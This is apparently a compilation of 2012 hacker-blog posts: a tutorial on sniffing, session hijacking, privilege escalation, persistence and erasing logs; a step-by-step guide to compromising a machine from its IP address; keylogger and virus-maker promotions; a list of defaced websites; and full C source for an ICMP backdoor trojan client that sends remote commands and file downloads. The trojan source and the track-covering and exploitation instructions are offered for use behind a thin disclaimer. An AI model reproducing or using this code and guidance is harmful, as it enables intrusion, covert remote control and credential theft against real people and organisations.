*Hybrid Attack - combination of different tools. It is a combination of effectivence of brute force and dictionary attacks & often using other attack mechanisms, such as cryptanalysis attack (one of the hybird attack).

You should know that when you do sniffing, you often get usernames & passwords in plain text. However, you can get encrypted passwords from sniffing as well. You will need to use of the cracking techniques discussed above. Sometimes cracking an encrypted passwords can take secs, hours, days, months, or even more!!!

There is a great software called "Cain & Abel", it sniffs passwords from the wire, cracks it, etc. Once you install it, go to sniffers tab, then move to the found passwords in cracker tab to see what you have got! There is lots to it. You should know these techniques as a security person cause if you don't know it, a black hat will take care of it.

Now, assume we already have hacked the system. We will try to do different things, such as getting the root, etc. Penetration & compromise got some differences in the meaning. Hacking into system does not mean you have compromised(taking the full control - take over) the system. After you penetrate the system, you can grab the session between client and server, e.g. you keep listening on login sessions, so when the remote user login to google, the session be dropped to you, once you get the session, the remote user won't be able to get into his account he/she will see at page goes blank(disconnected), so he/she may think its a problem in a connection, thus he/she tries to login again & everything works fine! BUT you already got his session, you won't have to go through login page when you want to see his/her email inbox, cause its already among the whole session you have taken.

Another way to do this, lets say the attacker has compromised the user's system, thus the attacker can let the session drop on his machine, then he takes the session, reads and saves it. After that, he redirects the user to the server, this step will make everything works ok like nothing wrong happen.

Lets see an example of the above explained steps, after attacker installs "Cain & Abel" application, he moves to "attack base system" & click the sniffer button at the top & click the yellow button(APR Poisoning Button) besides the sniffer button. This APR Poising button trick the attacked system to talk to the attacker instead of normally who it talks to. For testing purposes, go and add various system addresses(IP's) to the list. Let say one of the user amongst those targeted IP's logon into 'google', at the authentication process you will notice varies pieces of info comes to you. You are gathering info by getting into the middle of the communication process. Now view the files you have got in the list, you can see among the lines the username & password of the users' 'google' account in plain text! So how dangerous this can be to your privacy :-/! So be careful....

Once the hacker gains access to the system. He aims for admin(root) access. He moves up from guest level, to user level, up to root level. Owning the box, means take the system & prevent the admin from controlling the system, as well as preventing other hackers from getting in. So you hackers usually move on from the regular level, to the admin level so they can have full control. A hacker needs privilege escalation to compromise the system well. Some exploits allow buffer/stack overflows to obtain admin access. All it takes is a guest user, then a hacker can perform exploitations locally & there he goes to the root.

At this point, we did everything up to owning the box. Now our goal is to protect our access. Thus, we want to maintain our access to that hacked system, so we can use it later. You can maintain a system by using such tools, backdoor accounts, backdoor software programs, rootkits, etc. These tools help you maintain access. Some hackers own the box close all other accounts except his account, so the security person shut the system down, reformat the system and start over again.

By doing this, hacker account will be gone. Once we ensure we have maintained our access to the system, then we want to expand ourselves to other parts of the network. Remember, if you do not do this on your own network, somebody else will take care of it. If he does, i do not think you will be too happy! Once you got an access, and could maintain it successfully. You want to prevent detection or loss of access. There are several methods to maintain access, such as rootkits, OS exploits, erase tracks, install trojans that make you access backdoor, enable null sessions (webmaster usually go to the registry & disable null sessions to keep that vuln. from being exploited, webmasters usually do it once & do not get back to it. You can go there & enable it - NOTE: by enabling null sessions you can give other hackers a chance to hack too), and many more.

There different ways of system compromise, system compromise usually depends on your goal, examples of system compromising are root access(ultimate goal), data access/theft, DoS, and many more. Keep in mind, compromised systems can be detected after a while.

Now after a hacker breaks into the system, he tries to portect what he has hacked & erase his tracks. During the attack process try not to be detected so the webmaster don't shut the server off, as well as do not forget to erase your tracks, e.g. you dont want the webmaster to see lots of failed logon in the log files, so you erase tracks to prevent future detection. Typically, get in the network as a shadow or ghost.

There are many method to evade those IDS so they don't cut off your attack stream. Common methods for evading defenses might be by fragmenting packets(some programs do that e.g. fragroute), port redirectors, encoders(change the flow, the look, and feel of various traffics to pass firewall). After you get in and deceive defenses, you want to go to the log files and erase your tracks. Remember: sometimes you get in a user account then you get into a root by changing permissions of the user account, so you have to remember to set this user permissions back to as it was, things like that - you know what i mean, put yourself in a hackers shoe. Don't delete the whole log files, this can make the security person more suspicious. We want to leave everything as it was so nobody can get a feel that an intruder was here.

To be safe, you should know where your actions are recorded, delete log files and other evidences that can get you caught, steganography(google it), and evading IDS & firewalls. All actions are recorded in some place on the system or the network. Assume IDS detects you, what do security persons do? Usually when you get detected, they may cut off all the ways for you so you don't get a chance to penetrate, they probably going track you down, or they may decide let you go but watch you the entire time.

Where are your actions recorded & what things can let security person knows that you hacked his system? they are recorded in log files for various applications(e.g. IIS & Apache log files), file access times(note: there are tools for hackers that allow you to modify file access time), windows registry entries, hacker tools left behind (be aware of the residual configuration you have left behind - make sure you set all the configurations back to as it was), OS performance stats, IDS, proxy servers(make sure how you send and receive data. If you are going to use proxy server, set up a permanent tunnel through the proxy to the remote host that is compromised), and firewalls(usually very rich with logs).

There are various types of IDS, IDS can set anywhere in the network. There are network based IDS, host based IDS, and application based IDS.

Deleting evidences of your hack is extremely difficult, it requires you have a very high knowledge of the system you are trying to compromise(all the prior steps we did, such as scanning, foot printing, etc will be handy to compromise the system). It is easy to cover the known log files, such as web logs, firewall, IDS logs, etc. However, it is important to know how the default logs work. Highly skilled hackers, study the target well & take the time in fingerprinting & footprinting everything properly. It may take him up to one week before he hacks the target, but when he penetrates his job is done more smoothly & quietly. Unlike, the other ones who are just using some tools to break the system as fast as possible without studying the target well.

It is possible to delete log files! It is simple but usually requires admin access. Some files/logs may be deleted automatically with reboot. Don't delete log files, it brings up suspicion. If you do so, the security person can indicates very clearly that a hacker broke into the system.

Most common way of hiding your tracks is by using a rootkit. Rootkit is set of tools used by an attacker after the attacker gets the root-access to system. Rootkits conceals(to keep from being observed) attacker activities on the hacked system. Once rootkit set on the system, its practically impossible to rid of it because rootkit uses technology, called "hooks", that usually most of the time embed itself into various components of OS & effectively the OS going to be a toaster when the rootkit is all set and done. Security person has to rebuild his machine when rootkit is detected after we properly investigate it.

Steganography its about hiding a file into another file. Like hiding a malware into a normal software which makes it difficult for firewall or AV to detect the malware. Thats the basic concept of Steganography. There are alot of tools out there allow us to hide files inside another files.

You can evade IDS & firewalls by using random slow stealth scanning technique so traffic goes unnoticed, this takes longer to scan but makes detection more difficult. Try to use non-standard techniques, think outside the box.

Remember: not everyone out there is a security expert. To secure your system well, you need to put yourself in a hacker set of mind.

By now, you have learned the basic methodology that hackers use to break into the system. Anyhow, lets take a closer look on hacking techniques, such as encryption, sql injection, sniffers, and many more.

Encryption: files can be encrypted in a storage. Communication channels can be encrypted as well, communication channel encryption encrypts the entire communication path, so all traffics sent and received are encrypted, e.g. SSL technology encrypts the entire communication path. There are many ways hackers get away of encrypted traffic & get info in not encrypted form. If you are using your own encryption method, you always should test your encryption for crackability before you use it officially.

Sniffers: sniffers is a common tool used by hackers. Sniffers listens on any traffic that goes through the wire of the target system, listens ins and outs traffics. Promiscuous mode is a mode that is listening for any traffic that goes through the wire. Standard promiscuous mode sniffer is a basic technique. There are more advanced techniques other than promiscuous mode. Sniffing enables the attacker to pick up a plain text, and other sensitive data that goes 'from' or 'to' the target. Sniffers record captured traffic, then after you sniff you can go offline & start analyzing that captured traffic. Popular sniffers are ethereal, etherape, ettercap, and network monitor(for Win OS only - not so effective).

Wireless Hacking: this is a new technology & starts taking place nowadays. Easy to setup, but not frequently secured since not many people understand the security configuration, so they decide not to set it up or set it up poorly. There are various tools that detect wireless networks, popular war driving software are Netstumbler, Airsnort, Airopeek, Kismet, and many more. What is war driving? google it!

SQL Injection: sql injection is a technique that allows an attacker to steal a valuable database information. This attack relies on poor data validation and poor error checking.

Buffer Overflows: buffer overflow is common, the cause of buffer overflow is poor coding. Buffer overflows might be noticed while coding. Buffer overflow happens when the programmer does not clearly define boundaries on buffers or variables. We use out of bound data to insert malicious code or execute command on the remote host. Buffer Overflows can cause programs to freeze or lockup, can cause machine to crash, or let you use exploits & leads you to compromise the system. To build buffer overflows, you need a good programming skills, good knowledge of stack and buffer vulns.

You need to have the ability to research, analyze vulns & apply the exploit to achieve what you want. Buffer overflow is a very common & hard to produce an application with no buffer overflows at all. There is nothing programmers can do about it, they just need to write the code with security mind of set. If unexpected buffer overflow appears later by chance, programmers will have to fix it. Programmers should test their code from vulnerabilities as much as they can before they publish the application.

Rootkits: it is a common hacker technique. Rootkit is malicious program that replaces components of OS. It does a stealth job. Rootkit requires root permission, so you can install it. Linux rootkits are common & you can find them everywhere, unlike Windows. It is very hard to detect a rootkit because it embeds itself so deeply into the target system. Removing rootkit from a system is very hard too, if the security person tries to remove the rootkit out of the system, he will destroy the system since the rootkit is embedded so deeply into the system(into components of OS). The good solution is to format the whole system & install it again.

Spoofing: the word spoofing defined as making yourself appear as somebody else. Examples of spoofing, you can spoof an IP address and make yourself appear to be somewhere else, MAC addresses, and emails(very simple to spoof, you send an email to somebody by changing the headers, and things like that). Spoof usually relies on poor implementation of TCP/IP itself or poor implementation of applications. Tools that are used for spoofing differs from one platform to another. Example of the tools, IP spoofing utilities, MAC address modifiers, etc. Spoofing is more into using your skills rather than using a tool.

Denial of Service (DoS): DoS is very common. The ultimate idea is to prevent legitimate users from using the system. Running DoS is very simple, you don't gain anything from doing DoS. Hackers do it to threat companies, things like that. Many methods/level of DoS attacks exist. Examples of some ways of to DoS, ping of death, Windows size overflow, smurf, teardrop attacks, and many more. There are lots of different ways to do it!

Web Hacking: web hacking is the most popular attacks. It is based on hacking individual sites, servers, or components based on the website. First step a hacker takes is, enumerate services(applications) on target machine, and then determine what webserver software(apache, IIS, etc) is running on the target system. After that, the hacker exploits against vulns. found in the target system. It will be easier to hack if the hacker knows the version of the service/software running.

A webserver attack leads to deeper penetration on the network(move into the target's internal network). Popular attack methods are xxs(cross-site scripting), IIS DLL vulnerabilities(IIS is very commonly exploited), directory traversal, unicode attack, and many more.

What is Unicode attack?
here is quick rough description about Unicode attack, lets say you want to pass space into a URL. If you put a space in URL, webserver will not take your URL, webserver will consider the url is invalid. Thus, if you want to put spaces among the URL, you should put the number 20 in a place of the space(number 20 represents the space), so when the URL goes to the webserver, the webserver says Ok! thats a valid URL, lets process it and so it does. Unicode attack uses this technique in a non-standard(bad way) way to attack the webserver. Thats a quick explaination about unicode attack.

I'm already about to finish this tutorial, i will just talk about popular tools in a brief manner. I will start with namp.

Nmap is the most popular hacker tool outhere. Linux command line nmap works better and is supported better. Nmap comes with ping utility, port scanning utility, service enumeration & OS fingerprinting.

SuperScan is a windows based tool developed by foundstone Inc. Its easy to use it & a good tool for Windows.

Nessus is used for vulnerability assessment. It is an open source software kit, with commercial version available as well. Nessus uses client/server architecute. Server will be installed on a central location. Nessus comes in GUI & command line interface. Nessus uses database that carries latest current exploits for all types of OS & application. Databases in nessus are called plug-ins, hundrends of vulnerability plug-ins exist and are updated daily to include latest exploits. Nessus requires high level of knowledge to use the tool very effeciently. You can go out to the web and download an exploit and then add it to the database. Nessus can take quite long time to do vulnerability assessment.

Finally, the information in this tutorial have been gathered from various types of sources, and then i wrote the tutorial in an organized manner from scratch as well as i added some stuff & clarified many parts.

After you have read this tutorial, i recommend you to search and learn about Windows Null Sessions, it is the most critical flaws associated with Windows OS, and google about DNS zone transfers!

This tutorial is a good guide for you that gives you an insight on how to start & different techniques that hackers use and how they are used. I hope you have enjoyed this tutorial & helped you in someway or another. I'm not supporting any illegal activities. This tutorial for people who wants to know how hackers think, what steps they take to break into systems & how they do it, so people can have an insight on how to protect themselves against intruders.

How To Hack With An IP Address

2012-02-14T23:26:00.000-08:00

Theres plenty of papers out there that go into how to obtain an IP Address from the preferred mark of your choice. So I'm not going to go into that subject. Alright so say we got the targets IP Address finally. What do we do with this IP Address. Well first ping the IP Address to make sure that its alive. In otherwords online. Now at the bottom of this document ill include some links where you can obtain some key tools that may help on your journey through the electronic jungle. So we need to find places to get inside of the computer so we can start trying to find a way to "hack" the box. Port Scanners are used to identify the open ports on a machine thats running on a network, whether its a router, or a desktop computer, they will all have ports. Protocols use these ports to communicate with other services and resources on the network.

1) Blues Port Scanner - This program will scan the IP address that you chose and identify open ports that are on the target box.

Example 1:
Idlescan using Zombie (192.150.13.111:80); Class: Incremental
Interesting ports on 208.225.90.120:
(The 65522 ports scanned but not shown below are in state: closed)
Port State Service
21/tcp open ftp
25/tcp open smtp
80/tcp open http
111/tcp open sunrpc
135/tcp open loc-srv
443/tcp open https 1027/tcp open IIS
1030/tcp open iad1
2306/tcp open unknown
5631/tcp open pcanywheredata
7937/tcp open unknown
7938/tcp open unknown
36890/tcp open unknown

In example 1 now we see that there are a variety of ports open on this box. Take note of all the ports that you see listed before you. Most of them will be paired up with the type of protocol that uses that port (IE. 80-HTTP 25-SMTP Etc Etc...) Simply take all that information and paste it into notepad or the editor of your choice. This is the beginning of your targets record. So now we know what ports are open. These are all theoretical points of entry where we could wiggle into the computer system. But we all know its not that easy. Alright so we dont even know what type of software or what operating system that this system is running.

2) NMAP - Port Scanner - Has unique OS fingerprinting methods so when the program sees a certain series of ports open it uses its best judgement to guess what operating system its running. Generally correct with my experiences.

So we have to figure out what type of software this box is running if we are gonna start hacking the thing right? Many of you have used TELNET for your MUDS and MOOS and weird multiplayer text dungeons and many of you havent even heard of it before period. TELNET is used to open a remote connection to an IP Address through a Port. So what that means is we are accessing their computer from across the internet, all we need is their IP Address and a port number. With that record you are starting to compile, open a TELNET connection to the IP Address and enter one of the OPEN ports that you found on the target.
So say we typed 'TELNET -o xxx.xxx.xxx.xxx 25' This command will open up a connection through port 25 to the IP xxx.xxx.xxx.xxx. Now you may see some text at the very top of the screen. You may think, well what the hell, how is that little string of text going to help me. Well get that list you are starting to write, and copy the banners into your compilation of the information youve gathered on your target. Banners/Headers are what you get when you TELNET to the open ports. Heres an example of a banner from port 25.

220 jesus.gha.chartermi.net ESMTP Sendmail 8.12.8/8.12.8; Fri, 7 Oct 2005 01:22:29 -0400

Now this is a very important part in the enumeration process. You notice it says 'Sendmail 8.12.8/8.12.8' Well what do ya know, we now have discovered a version number. This is where we can start identifying the programs running on the machine. There are some instances in which companies will try and falsify their headers/banners so hackers are unable to find out what programs are truly installed. Now just copy all the banners from all the open ports *Some Ports May Have No Bannners* and organize them in the little record we have of the target. Now we have all the open ports, and a list of the programs running and their version numbers. This is some of the most sensitive information you can come across in the networking world. Other points of interest may be the DNS server, that contains lots of information and if you are able to manipulate it than you can pretend to hotmail, and steal a bunch of peoples email. Well now back to the task at handu. Apart from actual company secrets and secret configurations of the network hardware, you got some good juicy info. http://www.securityfocus.com is a very good resource for looking up software vulnerabilities. If you cant find any vulnerabilities there, search on google. There are many, many, many other sites that post vulnerabilities that their groups find and their affiliates.

At SecurityFocus you can search through vendor and whatnot to try and find your peice of software, or you can use the search box. When i searched SecurityFocus i found a paper on how Sendmail 8.12.8 had a buffer overflow. There was proof of concept code where they wrote the shellcode and everything, so if you ran the code with the right syntax, a command prompt would just spawn. You should notice a (#) on the line where your code is being typed. That pound symbol means that the command prompt window thats currently open was opened as root. The highest privilage on a UNIX/Linux Box. You have just successfully hacked a box. Now that you have a command shell in front of you, you can start doing whatever you want, delete everything if you want to be a fucking jerk, however I dont recommend that. Maybe leave a text file saying how you did it and that they should patch their system.....whoever they are. And many times the best thing you can do is just lay in the shadows, dont let anyone know what you did. More often than not this is the path you are going to want to take to avoid unwanted visits by the authorities.

There are many types of exploits out there, some are Denial of Service exploits, where you shut down a box, or render an application/process unusable. Called denial of service simply because you are denying a service on someones box to everyone trying to access it. Buffer Overflow exploits are involved when a variable inside some code doesnt have any input validation. Each letter you enter in for the string variable will be 1 byte long. Now where the variables are located at when they are in use by a program is called the buffer. Now what do you think overflowing the buffer means. We overflow the buffer so we can get to a totally different memory address. Then people write whats called shellcode in hex. This shellcode is what returns that command prompt when you run the exploit. That wasnt the best description of a buffer overflow, however all you need to remember is that garbage data fills up the data registers so then the buffer overflows and allows for remote execution of almost every command available. There are many, many other types of attacks that cannot all be described here, like man-in-the-middle attacks where you spoof who you are. Performed correctly, the victim will enterhttp://www.bank.com and his connection will be redirected to your site where you can make a username and password box, make the site look legit. And your poor mark will enter their credentials into your site, when they think its really http://www.bank.com. You need to have a small script set up so it will automatiically display like an error or something once they try and log in with their credentials. This makes it seem like the site is down and the victim doenst give it a second thought and will simply try again later.
__________________________________________________ _______o_________

So as a summary of how to 0Wn a box when you only have an IP Address
Method Works On BOTH *Nix and Windoze

****You can do the same with domain names (IE google.com) than what you can with IP Addresses. Run a WHOIS Lookup or something along those lines. Or check up on InterNIC you should be able to resolve the domain name to an IP address.****

- Port Scan The Address And Record Open Ports
- Telnet To Open Ports To Identify Software Running On Ports

3) netcat - Network swiss army knife. Like TELNET only better and with a lot more functionality. Both can be used when you are trying to fingerprint software on open ports

- Record Banners And Take Note Of The Application Running and The Version Number
- Take A Gander Online At SecurityFocus.com or Eeye.com. If you cant find any vulnerabilities then search google.
- Make a copy of some Proof-Of-Concept code for the vulnerability.

*Read the documentation if there is any, for the proof-of-concept code you will be using for your exploit*

- Run The Exploit Against The Victim.
- Reap The Cheap-Sh0t Ownage
__________________________________________________ _______________
**This document does not go into covering your tracks. If you dare try any of this stuff on a box you dont have consent to hack on, They will simply look at the logs and see your IP Address and then go straight to your ISP. Once you get more 1337 you get to learn how to get away with the nasty deeds. This is what the majority of kode-kiddies do when they perform attacks. The key is to enumerate all the info you can from the machine, the more info you have on the system the better. User accounts can also be enumerated. Once you have a list of account names, you may then proceed to brute-force or perform a cryptanalysis attack to gain control of the account. Then you must work on privilage escalation. Users are not Admins/Root**

Source

Common Email Hacking Methods

2012-01-20T06:20:00.000-08:00

Gone are the days when email hacking was a sophisticated art. Today any body can access hacking tips through the Internet and start hacking your yahoo or hotmail account. All that is needed is doing a search on google with keywords like “how to hack yahoo”, “hack yahoo messenger”, “hotmail hack program” etc. The following article is not an effort to teach you email hacking, but it has more to do with raising awareness on some common email hacking methods.

Hackers can install keylogger programs in the victim’s computer. This program can spy on what the user types from the keyboard. If you think that you can just uninstall such programs, you are wrong as they are completely hidden. After installation, the hacker will use a password and hot keys to enable the keylogger. He can then use the hot keys and password to access your key entry details.

A keylogger program is widely available on the internet.some of them are listed below
Win-Spy Monitor
Realtime Spy
SpyAgent Stealth
Spy Anywhere

For more information on keyloggers and it’s usage refer my post Hacking an email account.

Even if direct access to your computer is not possible, hackers can still install a key logger from a remote place and access your computer using Remote Administration Tools (RATs).

How to Become a Hacker

2012-01-20T06:19:00.000-08:00

Most of us are very curious to learn Hacking and want to become a Hacker, but don’t know where to start. If you are in a samilar situation, then this article will most likely guide you to reach your goal.

On a regular basis, I get a lot of emails where people ask me ”How to Become a Hacker”. In fact, this question is not an easy one to answer, since hacking is not an art that can be mastered overnight. It requires knowledge, skills, creativity, dedication and of course the TIME. Everyone can become a hacker provided they learn it from the basics. So, if you wanna become a hacker, then all you need is a good source of knowledge that will guide you through various concepts of hacking from the basics.

What Skills do I Need to Become a Hacker?

In simple words, there is no magic to become a Hacker. But like anything else that is worthwhile, it takes dedication and willingness to learn. It is most important to have a basic knowledge of topics such as operating system basics and it’s working, computer networks, computer security and of course programming. However, you need not be the expert in each or any of those topics mentioned. As you gain the basic knowledge of various branches of computer, you can choose any one as your favorite and advance in it.

What is the Best Way to Become a Hacker?

As said earlier, the best way to become a hacker is to start from the basics. You will have to master the basics to build a strong foundation. And once this is done, you’ll be in a position to explore new ideas and start thinking like a Hacker.

There exists tons of books on the market that will teach you hacking, but unfortunately, it requires a set of pre-established skills and knowledge to understand the concepts explained in the book. Also, most of them are not suitable for the beginners who doesn’t know anything about hacking.

Anyhow, I have found an excellent Book for the Beginners that will teach you hacking from the basics. This book is the first step to fulfil your dream of becoming a hacker. When I first read this book, I myself was surprised at how simple and easy it was laid out. I decided to introduce this book for all those enthusiasts as it can be the right source for the beginners who are interested to learn hacking from the basics. The good thing about this book is that, any one can understand the concepts presented here, without the need for any prior knowledge. This book is called

This book will take you from the core to the top. It will tell you how to hack in simple steps. Everything in this book is presented in a simple and effective manner. It is a great source for the beginner who would like to become a hacker. This will install a Hacker’s Mindset on you.

The following skills are uncovered in this book

1. You will learn all the hacker underground tricks and learn to apply them in real world situations.

2. You will be put into a hacker mindset so that you will learn to think like a Hacker.

3. By learning how a hacker thinks and acts, you will be able to protect yourself from future hack attacks.

4. You will acquire knowledge nonexistent to 99.9% of the people in the world!

5. This underground handbook may get you interested in pursuing a career as an Ethical Hacker.

This book is of great value for all those who have a dream to become a Hacker.

So what are you waiting for? Go grab your copy now from the following link

DOWNLOAD THIS BOOK

Pak Cyber Combact Squad hacked 84 NATO(UK) sites

2012-01-14T02:51:00.000-08:00

Pak Cyber Combact Squad has again done a mass deface. This time websites are from UK, not from India. If you are the regular reader of my website, you surely know the name of the group as it has defaced more than 150 websites in last 15 days. The group is too active these days.
This is the list of the hacked website

http://alientalking.com/
http://bluemoonpsychic.com/
http://castalovespell.co.uk/
http://castaspell.co.uk/
http://catalinacroft.com/
http://catalinacroftblog.com/
http://gaygirlmates.com/
http://empathicedge.com/
http://astudioempathica.com/
http://lastudioerotica.com/
http://livecatalina.com/
http://livecatalinachat.com/
http://love-magic.co.uk/
http://lovespellstore.co.uk/
http://magiclovespells.co.uk/
http://perfectpekins.com/
http://perfectpekinsforum.co.uk/
http://perfectpekinspost.co.uk/
http://sexypsychicwitch.co.uk
http://sexypsychicwitch.com/
http://http/://www.1st-light.net
advancedvaleting.co.uk/
anchor-it.co.uk/
andylangfordsongs.co.uk/
beckenhamblinds.co.uk/
bentleysburgundy.com/
bluedevs.co.uk/
blueleaflandscapes.co.uk/
britoriatravel.com/
cautleyhouse.org.uk/
ceramicsbymelanie.co.uk/
christinebouquet.eu/
clinident-uk.co.uk/
clinident-uk.com/
clinijel.co.uk/
clinijel.com/
cocodellic.co.uk/
csrmetal.co.uk/
dacarsuzuki.co.uk/
filmyourevent.co.uk/
gravity-training.co.uk/
greenliteltd.co.uk/
hallidaymarx.com/
handdee.co.uk/
homeexchange50plus.com/
icepromotions.co.uk/
jarvisblake.com/
kestoncattery.co.uk/
legworkuk.com/
michaelmiles.co.uk/
michaelmiles.me.uk/
mojitos-bromley.co.uk/
myhomebromley.co.uk/
myhometws.com/
niche8.co.uk/
nottinghamgroundsmaintenance.co.uk/
npmhomesandgardens.co.uk/

Virus Maker Professional

2012-01-09T22:09:00.000-08:00

Virus Maker Professional 2008
Scanned By Kaspersky Internet Security 325, Nothing Found
Just Use it with all ur Own Risk to produce any Malicious/virus/Trojans/Spyware
All Info inside rar

Download :
4shared
rapidshare.com

Password : LoloUOwnRisk

icmp trojen source code ,

2012-01-08T09:34:00.001-08:00

#include <winsock2.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment(lib,"ws2_32.lib")

char SendMsg[256];

/* The IP header */
typedef struct iphdr {
unsigned int h_len:4; //4?????
unsigned int version:4; //IP???,4??IPV4
unsigned char tos; //8?????TOS
unsigned short total_len; //16????(??)
unsigned short ident; //16???
unsigned short frag_and_flags; //3????
unsigned char ttl; //8????? TTL
unsigned char proto; //8??? (TCP, UDP ???)
unsigned short checksum; //16?IP?????
unsigned int sourceIP; //32??IP??
unsigned int destIP; //32???IP??
}IpHeader;

typedef struct _ihdr
{
BYTE i_type;//8???
BYTE i_code; //8???
USHORT i_cksum;//16????
USHORT i_id;//???(???????????)
USHORT i_seq;//?????
ULONG timestamp;//???
} IcmpHeader;

#define STATUS_FAILED 0xFFFF

#define MAX_PACKET 2000
char arg[1450];

#define xmalloc(s) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (s))

void fill_icmp_data(char *, int);
USHORT checksum(USHORT *, int);

void decode_resp(char *,int ,struct sockaddr_in *);//ICMP????
void help(void);
void usage(char * prog);

int main(int argc, char *argv[])
{
char *ICMP_DEST_IP; //?????IP
char *recvbuf;

if(argc!=2)
    {
        usage(argv[0]);
        return 0;
    }

ICMP_DEST_IP=argv[1];//??????IP
WSADATA wsaData;
SOCKET sockRaw;
struct sockaddr_in dest,from;
int datasize;
int fromlen=sizeof(from);

char *icmp_data;

if(WSAStartup(MAKEWORD(2, 2), &wsaData) != 0)
{
fprintf(stderr, "WSAStartup failed: %d\n", GetLastError());
ExitProcess(STATUS_FAILED);
}
sockRaw=socket(AF_INET, SOCK_RAW, IPPROTO_ICMP);
int timeout=1000;
setsockopt(sockRaw, SOL_SOCKET, SO_SNDTIMEO, (char *) &timeout, sizeof(timeout));
timeout=4000;
setsockopt(sockRaw, SOL_SOCKET, SO_RCVTIMEO, (char *) &timeout, sizeof(timeout));
memset(&dest,0,sizeof(dest));
dest.sin_addr.s_addr=inet_addr(ICMP_DEST_IP);
dest.sin_family=AF_INET;

usage(argv[0]);
__try{
for(;;){

printf("ICMP-CMD>");
fgets(SendMsg,1024,stdin);//?????,???SendMsg???

if(!strcmp(SendMsg,"Q\n")||!strcmp(SendMsg,"q\n"))ExitProcess(0);
if(!strcmp(SendMsg,"\n"))continue;
if(!strcmp(SendMsg,"H\n")||!strcmp(SendMsg,"h\n")){help();continue;}
if(!memcmp(SendMsg,"http://",7))
if(!strstr(SendMsg,"-")){printf("\nFileName Error. Use \"-FileName\"\n");continue;}

datasize=strlen(SendMsg);
datasize+=sizeof(IcmpHeader);
printf("ICMP packet size is %d",datasize);
icmp_data= (char*)xmalloc(MAX_PACKET);
recvbuf= (char *)xmalloc(MAX_PACKET);
memset(icmp_data,0, MAX_PACKET);
fill_icmp_data(icmp_data, datasize);
((IcmpHeader *)icmp_data)->i_cksum=0;
((IcmpHeader *)icmp_data)->i_cksum=checksum((USHORT *)icmp_data, datasize);

int bwrote=sendto(sockRaw, icmp_data, datasize, 0, (struct sockaddr *) &dest, sizeof(dest));

if (bwrote == SOCKET_ERROR)
{
if (WSAGetLastError() == WSAETIMEDOUT) printf("Timed out\n");
fprintf(stderr,"sendto failed: %d\n",WSAGetLastError());

}

if (bwrote<datasize ) {//????????????,?????

         return 0;

       }

printf("\nSend Packet to %s Success!\n",argv[1]);

DWORD start = GetTickCount();
for(;;){

if((GetTickCount() - start) >= 1000) break;
memset(recvbuf,0,MAX_PACKET);
int bread=recvfrom(sockRaw, recvbuf, MAX_PACKET, 0, (struct sockaddr *) &from, &fromlen);
if(bread == SOCKET_ERROR)
{
if(WSAGetLastError() == WSAETIMEDOUT)
{
printf("timed out\n");
break;
}

fprintf(stderr, "recvfrom failed: %d\n", WSAGetLastError());
break;
}

decode_resp(recvbuf, bread, &from);
}
}//end for

}//end try

__finally
{
if (sockRaw != INVALID_SOCKET) closesocket(sockRaw);
WSACleanup();
}

return 0;
}

USHORT checksum(USHORT *buffer, int size)
{
unsigned long cksum=0;

while(size > 1)
{
cksum+=*buffer++;
size-=sizeof(USHORT);
}

if(size)
{
cksum+=*(UCHAR *)buffer;
}

cksum=(cksum >> 16) + (cksum & 0xffff);
cksum+=(cksum >> 16);
return(USHORT) (~cksum);
}
void fill_icmp_data(char *icmp_data, int datasize)
{
IcmpHeader *icmp_hdr;
char *datapart;
icmp_hdr= (IcmpHeader *)icmp_data;
icmp_hdr->i_type=0;
icmp_hdr->i_code=0;
icmp_hdr->i_id=(USHORT)GetCurrentProcessId();
icmp_hdr->timestamp =GetTickCount();
icmp_hdr->i_seq=1234;
datapart=icmp_data + sizeof(IcmpHeader);
memcpy(datapart,SendMsg,sizeof(SendMsg));

}

void usage(char * prog)
{
    printf("\t\t=====Welcome to www.hackerxfiles.net======\n");
    printf("\n");
    printf("\t\t---[ ICMP-Cmd v1.0 beta, by gxisone   ]---\n");
    printf("\t\t---[ E-mail:    gxisone@hotmail.com   ]---\n");
    printf("\t\t---[                      2003/8/15   ]---\n");
    printf("\t\tusage: %s RemoteIP\n",prog);
    printf("\t\tCtrl+C or Q/q to Quite        H/h for help\n");
}

void decode_resp(char *buf, int bytes,struct sockaddr_in *from)
{
memset(arg,0,sizeof(arg));
IpHeader *iphdr;
IcmpHeader *icmphdr;
unsigned short iphdrlen;
iphdr = (IpHeader *)buf;
iphdrlen = iphdr->h_len * 4 ;
icmphdr = (IcmpHeader*)(buf + iphdrlen);
if(icmphdr->i_seq==4321)//??????????
{
printf("%d bytes from %s:",bytes, inet_ntoa(from->sin_addr));
printf(" IcmpType %d",icmphdr->i_type);
printf(" IcmpCode %d",icmphdr->i_code);
printf("\n");
memcpy(arg,buf+iphdrlen+12,1450);
printf("%s",arg);
}

else printf("Other ICMP Packets!\n");

}

void help(void)
{
    printf("\n");
    printf("[http://127.0.0.1/hack.exe -admin.exe] (Download Files. Parth is \\\\system32)\n");
    printf("[pslist]        (List the Process)\n");
    printf("[pskill ID]     (Kill the Process)\n");
    printf("Command         (run the command)\n");
    printf("\n");

}

Sony Pictures website and facebook page hacked by Anonymous

2012-01-07T23:05:00.001-08:00

Sony Pictures website and facebook page hacked by Anonymous
A hacker names S3rver.exe who claims to be the part of Anonymous has hacked the website of Sony Pictures and also managed to get the access over the facebook page of the Sony Pictures. Hackers also posted some videos to prove the success of operation.
Few days back Anonymous had announced to attack on Sony again to their support SOPA. They said in a statment,“Your support of the act is a signed death warrant to Sony Company and Associates. Therefore, yet again, we have decided to destroy your network. We will dismantle your phantom from the internet. Prepare to be extinguished. Justice will be swift, and it will be for the people, whether some like it or not.”
The hackers said they obtained access to their entire database, the first video, which has been quickly removed, displayed a picture of a Sony Pictures Mobile dashboard.
Last year, Anonymous has hacked Sony manytimes and forced sony to shutdown the gaming network for several weeks.

Free Download All Softwares Needed For Hacking And Cracking

2012-01-07T23:01:00.000-08:00

Free Download All Softwares Needed For Hacking And Cracking

this is the list of all hacking and cracking tools available in this pack.

Anon FTP
Arpinject
Aspack21
Atk-2.1
Bios Pas Remover
BlasterW32
Blue
BMP Ripper
Brutus
CASXM138
CAYZODQF
CGI Founder v1.043
CGI Sscan
Cia10
Cragle
Crack Zip
Davs TR Retail
Deep Un Freeze
Dr VBS
EES Binder
FTP BR
Genexe
Grinder 1.1
Hack Flash Tempelate
Hack My Space
Hack Photoshop CS2
Hackers Assistant
Hack the game
H C K
HL Boom
Hotmail Scam Page
Hydra
John
Key Logger
Legion NetmBios Scanner
